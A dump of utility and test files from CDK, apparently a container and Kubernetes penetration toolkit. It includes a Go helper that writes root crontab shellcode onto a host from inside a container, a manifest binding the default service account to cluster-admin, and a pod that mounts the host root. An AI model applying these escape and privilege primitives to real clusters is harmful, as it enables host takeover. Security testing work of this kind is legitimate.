WARNNING 17 | INFO 18 | DEBUG 19 | ) 20 | 21 | var DefaultLevel = INFO 22 | 23 | const ( 24 | DebugPrefix = "[DEBUG] " 25 | InfoPrefix = "[INFO_] " 26 | WarnPrefix = "[WARN_] " 27 | ErrorPrefix = "[ERROR] " 28 | ) 29 | 30 | // Colorful Bold 31 | // use like `GreenBold.Sprint(str)` 32 | var ( 33 | RedBold = color.New(color.FgRed).Add(color.Bold) 34 | GreenBold = color.New(color.FgGreen).Add(color.Bold) 35 | YellowBold = color.New(color.FgYellow).Add(color.Bold) 36 | BlueBold = color.New(color.FgBlue).Add(color.Bold) 37 | ) 38 | 39 | type LevelLogger struct { 40 | Level Level 41 | Color bool 42 | 43 | PrintFunc func(format string, v ...interface{}) 44 | } 45 | 46 | var ( 47 | ColorDebugPrefix = GreenBold.Sprint(DebugPrefix) 48 | ColorInfoPrefix = BlueBold.Sprint(InfoPrefix) 49 | ColorWarnPrefix = YellowBold.Sprint(WarnPrefix) 50 | ColorErrorPrefix = RedBold.Sprint(ErrorPrefix) 51 | ) 52 | 53 | func (l *LevelLogger) Debug(format string, v ...interface{}) { 54 | if l.Level >= DEBUG { 55 | prefix := DebugPrefix 56 | if l.Color { 57 | prefix = ColorDebugPrefix 58 | } 59 | 60 | temp := fmt.Sprintf("%s%s", prefix, format) 61 | l.PrintFunc(temp, v...) 62 | } 63 | } 64 | 65 | func (l *LevelLogger) Info(format string, v ...interface{}) { 66 | if l.Level >= INFO { 67 | prefix := InfoPrefix 68 | if l.Color { 69 | prefix = ColorInfoPrefix 70 | } 71 | 72 | temp := fmt.Sprintf("%s%s", prefix, format) 73 | l.PrintFunc(temp, v...) 74 | } 75 | } 76 | 77 | func (l *LevelLogger) Warn(format string, v ...interface{}) { 78 | if l.Level >= WARNNING { 79 | prefix := WarnPrefix 80 | if l.Color { 81 | prefix = ColorWarnPrefix 82 | } 83 | 84 | temp := fmt.Sprintf("%s%s", prefix, format) 85 | l.PrintFunc(temp, v...) 86 | } 87 | } 88 | 89 | func (l *LevelLogger) Error(format string, v ...interface{}) { 90 | prefix := ErrorPrefix 91 | if l.Color { 92 | prefix = ColorErrorPrefix 93 | } 94 | 95 | temp := fmt.Sprintf("%s%s", prefix, format) 96 | l.PrintFunc(temp, v...) 97 | } 98 | 99 | func (l *LevelLogger) Close() {} 100 | 101 | type Wrapper struct { 102 | logger *log.Logger 103 | 104 | LevelLogger 105 | } 106 | 107 | func NewWrapper(writer io.Writer, colorful bool) *Wrapper { 108 | logger := log.New(writer, "", log.LstdFlags|log.Lshortfile) 109 | 110 | return &Wrapper{ 111 | logger: logger, 112 | LevelLogger: LevelLogger{ 113 | Level: DefaultLevel, 114 | Color: colorful, 115 | PrintFunc: logger.Printf, 116 | }, 117 | } 118 | } 119 | 120 | func NewStdoutWrapper() *Wrapper { 121 | return NewWrapper(os.Stdout, true) 122 | } 123 | -------------------------------------------------------------------------------- /pkg/util/common.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | 19 | import ( 20 | "fmt" 21 | "io/ioutil" 22 | "math/rand" 23 | "os/exec" 24 | "strings" 25 | "time" 26 | 27 | "github.com/cdk-team/CDK/pkg/errors" 28 | ) 29 | 30 | func ByteToString(orig []byte) string { 31 | n := -1 32 | l := -1 33 | for i, b := range orig { 34 | // skip left side null 35 | if l == -1 && b == 0 { 36 | continue 37 | } 38 | if l == -1 { 39 | l = i 40 | } 41 | 42 | if b == 0 { 43 | break 44 | } 45 | n = i + 1 46 | } 47 | if n == -1 { 48 | return string(orig) 49 | } 50 | return string(orig[l:n]) 51 | } 52 | 53 | func RandString(n int) string { 54 | // grabbed from https://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-go 55 | const ( 56 | letterBytes = "abcde1fghij2klmno3pqrst4uvwxy5zABCD6EFGHI7JKLMN8OPQRS9TUVWX9YZ" 57 | letterIdxBits = 6 // 6 bits to represent a letter index 58 | letterIdxMask = 1<= 0; { 66 | if remain == 0 { 67 | cache, remain = rand.Int63(), letterIdxMax 68 | } 69 | if idx := int(cache & letterIdxMask); idx < len(letterBytes) { 70 | sb.WriteByte(letterBytes[idx]) 71 | i-- 72 | } 73 | cache >>= letterIdxBits 74 | remain-- 75 | } 76 | 77 | return sb.String() 78 | } 79 | 80 | func RemoveDuplicateElement(addrs []string) []string { 81 | result := make([]string, 0, len(addrs)) 82 | temp := map[string]struct{}{} 83 | for _, item := range addrs { 84 | if _, ok := temp[item]; !ok { 85 | temp[item] = struct{}{} 86 | result = append(result, item) 87 | } 88 | } 89 | return result 90 | } 91 | 92 | // dataFromSliceOrFile returns data from the slice (if non-empty), or from the file, 93 | // or an error if an error occurred reading the file 94 | func dataFromSliceOrFile(data []byte, file string) ([]byte, error) { 95 | if len(data) > 0 { 96 | return data, nil 97 | } 98 | if len(file) > 0 { 99 | fileData, err := ioutil.ReadFile(file) 100 | if err != nil { 101 | return []byte{}, err 102 | } 103 | return fileData, nil 104 | } 105 | return nil, nil 106 | } 107 | 108 | // ShellExec run shell script by bash 109 | func ShellExec(shellPath string) error { 110 | var command = shellPath 111 | if strings.HasPrefix(shellPath, "/") { 112 | command = shellPath 113 | } else { 114 | command = fmt.Sprintf("./%s .", shellPath) 115 | } 116 | cmd := exec.Command("/bin/bash", "-c", command) 117 | 118 | output, err := cmd.Output() 119 | if err != nil { 120 | return &errors.CDKRuntimeError{Err: err, CustomMsg: fmt.Sprintf("Execute Shell:%s failed", command)} 121 | } 122 | fmt.Printf("Execute Shell:%s finished with output:\n%s", command, string(output)) 123 | return nil 124 | } 125 | 126 | // StringContains check string array contains a string 127 | func StringContains(s []string, e string) bool { 128 | // grabbed from https://stackoverflow.com/questions/10485743/contains-method-for-a-slice 129 | for _, a := range s { 130 | if a == e { 131 | return true 132 | } 133 | } 134 | return false 135 | } 136 | 137 | // IntContains check string array contains a int number 138 | func IntContains(s []int, e int) bool { 139 | for _, a := range s { 140 | if a == e { 141 | return true 142 | } 143 | } 144 | return false 145 | } 146 | 147 | // DistinctArr distinct 148 | func DistinctStrArr(s []string) []string { 149 | distinctMap := make(map[string]bool) 150 | var result []string 151 | 152 | for _, item := range s { 153 | if _, exists := distinctMap[item]; !exists { 154 | distinctMap[item] = true 155 | result = append(result, item) 156 | } 157 | } 158 | 159 | return result 160 | } 161 | -------------------------------------------------------------------------------- /pkg/util/file_io.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | 19 | import ( 20 | "bufio" 21 | "fmt" 22 | "io" 23 | "io/ioutil" 24 | "log" 25 | "os" 26 | "syscall" 27 | 28 | "github.com/cdk-team/CDK/pkg/errors" 29 | ) 30 | 31 | func IsDirectory(path string) bool { 32 | fileInfo, err := os.Stat(path) 33 | if err != nil { 34 | return false 35 | } 36 | return fileInfo.IsDir() 37 | } 38 | 39 | // ReadLines reads a whole file into memory 40 | // and returns a slice of its lines. 41 | // from https://stackoverflow.com/questions/5884154/read-text-file-into-string-array-and-write 42 | func ReadLines(path string) ([]string, error) { 43 | file, err := os.Open(path) 44 | if err != nil { 45 | return nil, err 46 | } 47 | defer file.Close() 48 | 49 | var lines []string 50 | scanner := bufio.NewScanner(file) 51 | for scanner.Scan() { 52 | lines = append(lines, scanner.Text()) 53 | } 54 | return lines, scanner.Err() 55 | } 56 | 57 | func FileExist(path string) bool { 58 | fileInfo, err := os.Stat(path) 59 | if os.IsNotExist(err) { 60 | return false 61 | } 62 | return !fileInfo.IsDir() 63 | } 64 | 65 | func IsSoftLink(FilePath string) bool { 66 | fileInfo, err := os.Lstat(FilePath) 67 | if err != nil { 68 | return false 69 | } 70 | if sys := fileInfo.Sys(); sys != nil { 71 | if stat, ok := sys.(*syscall.Stat_t); ok { 72 | nlink := uint64(stat.Nlink) 73 | if nlink == 1 { // soft link ==1; hard link == 2 74 | return true 75 | } 76 | } 77 | } 78 | return false 79 | } 80 | 81 | func IsDir(FilePath string) bool { 82 | fileInfo, err := os.Stat(FilePath) 83 | if err != nil { 84 | return false 85 | } 86 | return fileInfo.IsDir() 87 | } 88 | 89 | func RewriteFile(path string, content string, perm os.FileMode) { 90 | cmdFile, err := os.OpenFile(path, os.O_TRUNC|os.O_WRONLY|os.O_CREATE, perm) 91 | if err != nil { 92 | log.Fatal("overwrite file:", path, "err: "+err.Error()) 93 | } else { 94 | n, _ := cmdFile.Seek(0, io.SeekEnd) 95 | _, err = cmdFile.WriteAt([]byte(content), n) 96 | log.Println("overwrite file:", path, "success.") 97 | defer cmdFile.Close() 98 | } 99 | } 100 | 101 | func WriteFile(path string, content string) error { 102 | var d = []byte(content) 103 | err := ioutil.WriteFile(path, d, 0666) 104 | if err != nil { 105 | return err 106 | } 107 | return nil 108 | } 109 | 110 | func WriteFileAdd(path string, content string) error { 111 | file, err := os.OpenFile(path, os.O_WRONLY|os.O_APPEND, 0666) 112 | if err != nil { 113 | return err 114 | } 115 | _, err = file.Write([]byte(content)) 116 | if err != nil { 117 | return err 118 | } 119 | file.Close() 120 | return nil 121 | } 122 | 123 | func WriteShellcodeToCrontab(header string, filePath string, shellcode string) error { 124 | shellcode = fmt.Sprintf("\n%s\n* * * * * root %s", header, shellcode) 125 | err := WriteFileAdd(filePath, shellcode) 126 | if err != nil { 127 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while writing shellcode to host crontab from container."} 128 | } 129 | return nil 130 | } 131 | -------------------------------------------------------------------------------- /pkg/util/file_io_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | 19 | import ( 20 | "github.com/stretchr/testify/assert" 21 | "testing" 22 | ) 23 | 24 | func TestIsDir(t *testing.T) { 25 | type testCase struct { 26 | dir string 27 | expected bool 28 | } 29 | testGroup := map[string]testCase{ 30 | "1": { 31 | dir: "/Users/xy/go", 32 | expected: true, 33 | }, 34 | "2": { 35 | dir: "/Users/xy/", 36 | expected: true, 37 | }, 38 | "3": { 39 | dir: "/etc/hosts", 40 | expected: false, 41 | }, 42 | } 43 | 44 | for key, v := range testGroup { 45 | t.Run(key, func(t *testing.T) { 46 | assert.Equal(t, v.expected, IsDir(v.dir), "That should be equal") 47 | }) 48 | } 49 | 50 | } 51 | 52 | func TestIsSoftLink(t *testing.T) { 53 | type testCase struct { 54 | dir string 55 | expected bool 56 | } 57 | testGroup := map[string]testCase{ 58 | "1": { 59 | dir: "/Users/xy/go", 60 | expected: true, 61 | }, 62 | "2": { 63 | dir: "/Users/xy/", 64 | expected: false, 65 | }, 66 | "3": { 67 | dir: "/etc/hosts", 68 | expected: false, 69 | }, 70 | } 71 | 72 | for key, v := range testGroup { 73 | t.Run(key, func(t *testing.T) { 74 | assert.Equal(t, v.expected, IsSoftLink(v.dir), "That should be equal") 75 | }) 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /pkg/util/http_request.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | 19 | import ( 20 | "bytes" 21 | "context" 22 | "github.com/cdk-team/CDK/pkg/errors" 23 | "io" 24 | "io/ioutil" 25 | "net" 26 | "net/http" 27 | "strings" 28 | ) 29 | 30 | // ref https://docs.docker.com/engine/api/v1.24/ 31 | func UnixHttpSend(method string, unixPath string, uri string, data string) (string, error) { 32 | httpc := http.Client{ 33 | Transport: &http.Transport{ 34 | DialContext: func(_ context.Context, _, _ string) (net.Conn, error) { 35 | return net.Dial("unix", unixPath) 36 | }, 37 | }, 38 | } 39 | 40 | var response *http.Response 41 | var err error 42 | 43 | switch method { 44 | case "post": 45 | response, err = httpc.Post(uri, "application/json", strings.NewReader(data)) 46 | case "get": 47 | response, err = httpc.Get(uri) 48 | } 49 | 50 | if err != nil { 51 | return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "Unix HTTP Request failed."} 52 | } 53 | buf := new(bytes.Buffer) 54 | io.Copy(buf, response.Body) 55 | return buf.String(), nil 56 | } 57 | 58 | func HttpSendJson(method string, url string, data string) (string, error) { 59 | req, err := http.NewRequest(strings.ToUpper(method), url, bytes.NewBuffer([]byte(data))) 60 | if err != nil { 61 | return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "HTTP Request failed."} 62 | } 63 | req.Header.Set("Content-Type", "application/json") 64 | 65 | client := &http.Client{} 66 | resp, err := client.Do(req) 67 | if err != nil { 68 | return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "HTTP Request failed."} 69 | } 70 | defer resp.Body.Close() 71 | body, _ := ioutil.ReadAll(resp.Body) 72 | return string(body), nil 73 | } 74 | -------------------------------------------------------------------------------- /pkg/util/k8s.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | type K8sPod struct { 4 | APIVersion string `yaml:"apiVersion"` 5 | Kind string `yaml:"kind"` 6 | Metadata K8sObjectMeta `yaml:"metadata"` 7 | Spec K8sPodSpec `yaml:"spec"` 8 | } 9 | 10 | type K8sObjectMeta struct { 11 | Name string `yaml:"name"` 12 | Namespace string `yaml:"namespace,omitempty"` 13 | Labels map[string]string `yaml:"labels,omitempty"` 14 | } 15 | 16 | type K8sPodSpec struct { 17 | Containers []K8sContainer `yaml:"containers"` 18 | } 19 | 20 | type K8sContainer struct { 21 | Name string `yaml:"name"` 22 | Image string `yaml:"image"` 23 | Ports []K8sContainerPort `yaml:"ports,omitempty"` 24 | Command []string `yaml:"command,omitempty"` 25 | } 26 | 27 | type K8sContainerPort struct { 28 | ContainerPort int `yaml:"containerPort"` 29 | } 30 | -------------------------------------------------------------------------------- /pkg/util/kubectl.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | type KubeConfig struct { 4 | APIVersion string `yaml:"apiVersion"` 5 | Clusters []Cluster `yaml:"clusters"` 6 | Contexts []Context `yaml:"contexts"` 7 | CurrentContext string `yaml:"current-context"` 8 | Kind string `yaml:"kind"` 9 | Preferences struct{} `yaml:"preferences"` 10 | Users []User `yaml:"users"` 11 | } 12 | 13 | type Cluster struct { 14 | Cluster ClusterInfo `yaml:"cluster"` 15 | Name string `yaml:"name"` 16 | } 17 | 18 | type ClusterInfo struct { 19 | CertificateAuthorityData string `yaml:"certificate-authority-data"` 20 | Server string `yaml:"server"` 21 | } 22 | 23 | type Context struct { 24 | Context ContextInfo `yaml:"context"` 25 | Name string `yaml:"name"` 26 | } 27 | 28 | type ContextInfo struct { 29 | Cluster string `yaml:"cluster"` 30 | User string `yaml:"user"` 31 | } 32 | 33 | type User struct { 34 | Name string `yaml:"name"` 35 | User UserInfo `yaml:"user"` 36 | } 37 | 38 | type UserInfo struct { 39 | ClientCertificateData string `yaml:"client-certificate-data"` 40 | ClientKeyData string `yaml:"client-key-data"` 41 | } 42 | 43 | func RunKubectlCmd(args ...string) (string, error) { 44 | var stdoutStr string 45 | var err error 46 | 47 | return stdoutStr, err 48 | } 49 | -------------------------------------------------------------------------------- /pkg/util/kubelet.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | 19 | import ( 20 | "bufio" 21 | "encoding/binary" 22 | "fmt" 23 | "net" 24 | "os" 25 | "strconv" 26 | "strings" 27 | ) 28 | 29 | // from https://stackoverflow.com/questions/40682760/what-syscall-method-could-i-use-to-get-the-default-network-gateway 30 | const ( 31 | file = "/proc/net/route" 32 | line = 1 // line containing the gateway addr. (first line: 0) 33 | sep = "\t" // field separator 34 | field = 2 // field containing hex gateway address (first field: 0) 35 | ) 36 | 37 | // GetGateway returns the default gateway for the system. 38 | func GetGateway() (string, error) { 39 | 40 | file, err := os.Open(file) 41 | if err != nil { 42 | return "", err 43 | } 44 | defer file.Close() 45 | 46 | scanner := bufio.NewScanner(file) 47 | 48 | for scanner.Scan() { 49 | 50 | // jump to line containing the agteway address 51 | for i := 0; i < line; i++ { 52 | scanner.Scan() 53 | } 54 | 55 | // get field containing gateway address 56 | tokens := strings.Split(scanner.Text(), sep) 57 | gatewayHex := "0x" + tokens[field] 58 | 59 | // cast hex address to uint32 60 | d, _ := strconv.ParseInt(gatewayHex, 0, 64) 61 | d32 := uint32(d) 62 | 63 | // make net.IP address from uint32 64 | ipd32 := make(net.IP, 4) 65 | binary.LittleEndian.PutUint32(ipd32, d32) 66 | 67 | // format net.IP to dotted ipV4 string 68 | ip := net.IP(ipd32).String() 69 | 70 | return ip, nil 71 | } 72 | 73 | return "", fmt.Errorf("no default gateway found") 74 | } 75 | -------------------------------------------------------------------------------- /pkg/util/namespace.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | 19 | import ( 20 | "io/ioutil" 21 | "strings" 22 | 23 | "github.com/cdk-team/CDK/pkg/errors" 24 | ) 25 | 26 | // CheckUnpriUserNS checks if the current host enable unprivileged user namespace. 27 | // reference: 28 | // 29 | // https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ 30 | // https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/ 31 | // 32 | // exceptional case: 33 | // 34 | // the sysctl files(/proc/sys/kernel/unprivileged_userns_clone) only exist in Debian, Ubuntu. 35 | // We can not check the sysctl file in other distros, test in CentOS Linux release 8.4.2105 (Core). 36 | func CheckUnpriUserNS() error { 37 | 38 | data, err := ioutil.ReadFile("/proc/sys/kernel/unprivileged_userns_clone") 39 | if err != nil { 40 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "check prerequisites error."} 41 | } 42 | 43 | if strings.TrimSuffix(string(data), "\n") != "1" { 44 | return &errors.CDKRuntimeError{Err: nil, CustomMsg: "host os does NOT enable unprivileged user namespace."} 45 | } 46 | 47 | return nil 48 | } 49 | -------------------------------------------------------------------------------- /pkg/util/output.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | 19 | import ( 20 | "fmt" 21 | "log" 22 | ) 23 | 24 | const Colorful = true 25 | 26 | // fmt.Printf(util.GreenBold.Sprint("\n[Information Gathering - System Info]\n")) 27 | func PrintH2(title string) { 28 | fmt.Printf(BlueBold.Sprint("\n[ ") + GreenBold.Sprint(title) + BlueBold.Sprint(" ]\n")) 29 | } 30 | 31 | func PrintItemKey(key string, color bool) { 32 | key = key + "\n" 33 | if color { 34 | log.Printf(YellowBold.Sprint(key)) 35 | } else { 36 | log.Printf(key) 37 | } 38 | } 39 | 40 | func PrintItemValue(value string, color bool) { 41 | value = "\t" + value + "\n" 42 | if color { 43 | fmt.Printf(RedBold.Sprint(value)) 44 | } else { 45 | fmt.Printf(value) 46 | } 47 | } 48 | 49 | func PrintItemValueWithKeyOneLine(key, value string, color bool) { 50 | if color { 51 | log.Printf("%s: %s", key, GreenBold.Sprint(value)) 52 | } else { 53 | log.Printf("%s: %s", key, value) 54 | } 55 | } 56 | 57 | func PrintOrignal(out string) { 58 | fmt.Printf("%s\n", out) 59 | } 60 | -------------------------------------------------------------------------------- /pkg/util/version.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package util 18 | -------------------------------------------------------------------------------- /test/CDK-deploy-test/README.md: -------------------------------------------------------------------------------- 1 | # CDK-Deploy-Test 2 | 3 | This is the function test script, see doc: 4 | 5 | * https://github.com/cdk-team/CDK/wiki/Run-Test -------------------------------------------------------------------------------- /test/CDK-deploy-test/cluster_init/default_to_admin.yaml: -------------------------------------------------------------------------------- 1 | kind: ClusterRoleBinding 2 | apiVersion: rbac.authorization.k8s.io/v1beta1 3 | metadata: 4 | name: cdxy-default-to-admin-binding 5 | namespace: default 6 | subjects: 7 | - kind: ServiceAccount 8 | name: default 9 | namespace: default 10 | roleRef: 11 | kind: ClusterRole 12 | name: cluster-admin 13 | apiGroup: "rbac.authorization.k8s.io" -------------------------------------------------------------------------------- /test/CDK-deploy-test/cluster_init/myappnew.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: myappnew 5 | spec: 6 | containers: 7 | - image: nginx 8 | name: container 9 | volumeMounts: 10 | - mountPath: /mnt 11 | name: test-volume 12 | - mountPath: /host-root 13 | name: host-volume 14 | volumes: 15 | - hostPath: 16 | path: /tmp 17 | name: test-volume 18 | - hostPath: 19 | path: / 20 | name: host-volume 21 | -------------------------------------------------------------------------------- /test/CDK-deploy-test/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cdk-team/CDK/02c2e5d576a51b603e07eb036073eb1c5a0c4c4d/test/CDK-deploy-test/lib/__init__.py -------------------------------------------------------------------------------- /test/CDK-deploy-test/lib/conf.py: -------------------------------------------------------------------------------- 1 | class SERVER: # your remote server for test 2 | HOST = '118.195.140.100' 3 | USER = 'root' 4 | PASS = '' 5 | KEY_PATH = '/Users/xy/.ssh/id_rsa' 6 | 7 | 8 | class DEV_PATH: 9 | KUBECTL_PATH = '/Users/xy/Desktop/lezhen-test-case/k8s/kubectl' 10 | GO_BINARY = '/Users/xy/go/go1.16beta1/bin/go' 11 | 12 | 13 | class CDK: 14 | # local source-code dir to run `go build` 15 | BUILD_PATH = '/Users/xy/go/CDK/cmd/cdk' 16 | # build command 17 | BUILD_CMD = 'cd {} && CGO_ENABLED=0 GOOS=linux GOARCH=amd64 {} build cdk.go'.format(BUILD_PATH, DEV_PATH.GO_BINARY) 18 | # binary after build 19 | BIN_PATH = '/Users/xy/go/CDK/cmd/cdk/cdk' 20 | # you can keep it unchanged 21 | REMOTE_HOST_PATH = '/root/cdk-fabric' 22 | REMOTE_CONTAINER_PATH = '/cdk-fabric' 23 | 24 | 25 | class K8S: 26 | KUBE_CONFIG = '/Users/xy/.kube/cdk.config' 27 | # KUBE_CONFIG = '/Users/xy/.kube/config' 28 | # upload cdk to target pod then check command output using kubectl 29 | TARGET_POD = 'myappnew' 30 | # you can keep it unchanged 31 | REMOTE_POD_PATH = '/cdk-fabric' 32 | 33 | 34 | class SELFBUILD_K8S: 35 | # Master node SSH 36 | HOST = '118.195.140.100' 37 | USER = 'root' 38 | PASS = '' 39 | KEY_PATH = '/Users/xy/.ssh/id_rsa' 40 | REMOTE_HOST_PATH = '/root/cdk-fabric' 41 | # upload cdk to target pod then check command output using kubectl 42 | TARGET_POD = 'myappnew' 43 | # you can keep it unchanged 44 | REMOTE_POD_PATH = '/cdk-fabric' 45 | KUBERNETES_SERVICE_PORT = '443' 46 | KUBERNETES_SERVICE_HOST = '172.16.252.1' 47 | -------------------------------------------------------------------------------- /test/CDK-deploy-test/lib/k8s_remote_action.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import time 3 | from lib.ssh_remote_action import output_err 4 | from lib.conf import CDK, K8S, DEV_PATH 5 | 6 | 7 | def k8s_pod_upload(): 8 | print('[upload] CDK binary to K8s pod:{}'.format(K8S.TARGET_POD)) 9 | cmd = r'{} --kubeconfig={} cp {} {}:{}'.format(DEV_PATH.KUBECTL_PATH, K8S.KUBE_CONFIG, CDK.BIN_PATH, K8S.TARGET_POD, 10 | K8S.REMOTE_POD_PATH) 11 | ret = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 12 | 13 | time.sleep(1) 14 | cmd1 = r'{} --kubeconfig={} exec {} -- ls {}'.format(DEV_PATH.KUBECTL_PATH, K8S.KUBE_CONFIG, K8S.TARGET_POD, 15 | K8S.REMOTE_POD_PATH) 16 | 17 | ret1 = subprocess.Popen(cmd1, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 18 | if K8S.REMOTE_POD_PATH in str(ret1.stdout.read()): 19 | return 20 | else: 21 | print(str(ret1.stdout.read())) 22 | print(str(ret1.stderr.read())) 23 | raise Exception("Upload cdk binary to K8s failed.\nCMD: " + cmd) 24 | 25 | 26 | def check_pod_exec(cmd, white_list, black_list, verbose=False): 27 | # OCI runtime exec failed: exec failed: container_linux.go:344: starting container process caused "text file busy" 28 | time.sleep(1) 29 | 30 | cmd_parsed = r'{} --kubeconfig={} exec {} -- {} {}'.format(DEV_PATH.KUBECTL_PATH, K8S.KUBE_CONFIG, K8S.TARGET_POD, 31 | K8S.REMOTE_POD_PATH, cmd) 32 | print('[TEST] [{}] {}'.format('K8s Pod', cmd_parsed)) 33 | 34 | ret = subprocess.Popen(cmd_parsed, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, 35 | shell=True) 36 | 37 | stdout = str(ret.stdout.read()) 38 | stderr = str(ret.stderr.read()) 39 | 40 | if verbose: 41 | print('stdout\n', stdout) 42 | print('stderr\n', stderr) 43 | 44 | for pattern in white_list: 45 | if pattern not in stdout + stderr: 46 | output_err('K8s Pod', cmd_parsed, pattern, 'white') 47 | 48 | for pattern in black_list: 49 | if pattern in stdout + stderr: 50 | output_err('K8s Pod', cmd_parsed, pattern, 'black') 51 | 52 | 53 | if __name__ == '__main__': 54 | k8s_pod_upload() 55 | -------------------------------------------------------------------------------- /test/CDK-deploy-test/lib/k8s_selfbuild_action.py: -------------------------------------------------------------------------------- 1 | import time 2 | from fabric import Connection 3 | from invoke import UnexpectedExit 4 | from lib.conf import CDK, SELFBUILD_K8S 5 | 6 | 7 | def k8s_get_remote_conn(): 8 | # http://docs.paramiko.org/en/stable/api/client.html 9 | 10 | if SELFBUILD_K8S.PASS: 11 | connect_kwargs = {'password': SELFBUILD_K8S.PASS} 12 | else: 13 | connect_kwargs = {'key_filename': SELFBUILD_K8S.KEY_PATH} 14 | return Connection(SELFBUILD_K8S.HOST, SELFBUILD_K8S.USER, connect_kwargs=connect_kwargs) 15 | 16 | 17 | conn = k8s_get_remote_conn() 18 | 19 | 20 | def output_err(env, cmd, pattern, type): 21 | print('[ERROR] {} while running cmd: {}\nexcepted {} pattern:\n{}'.format(env, cmd, type, pattern)) 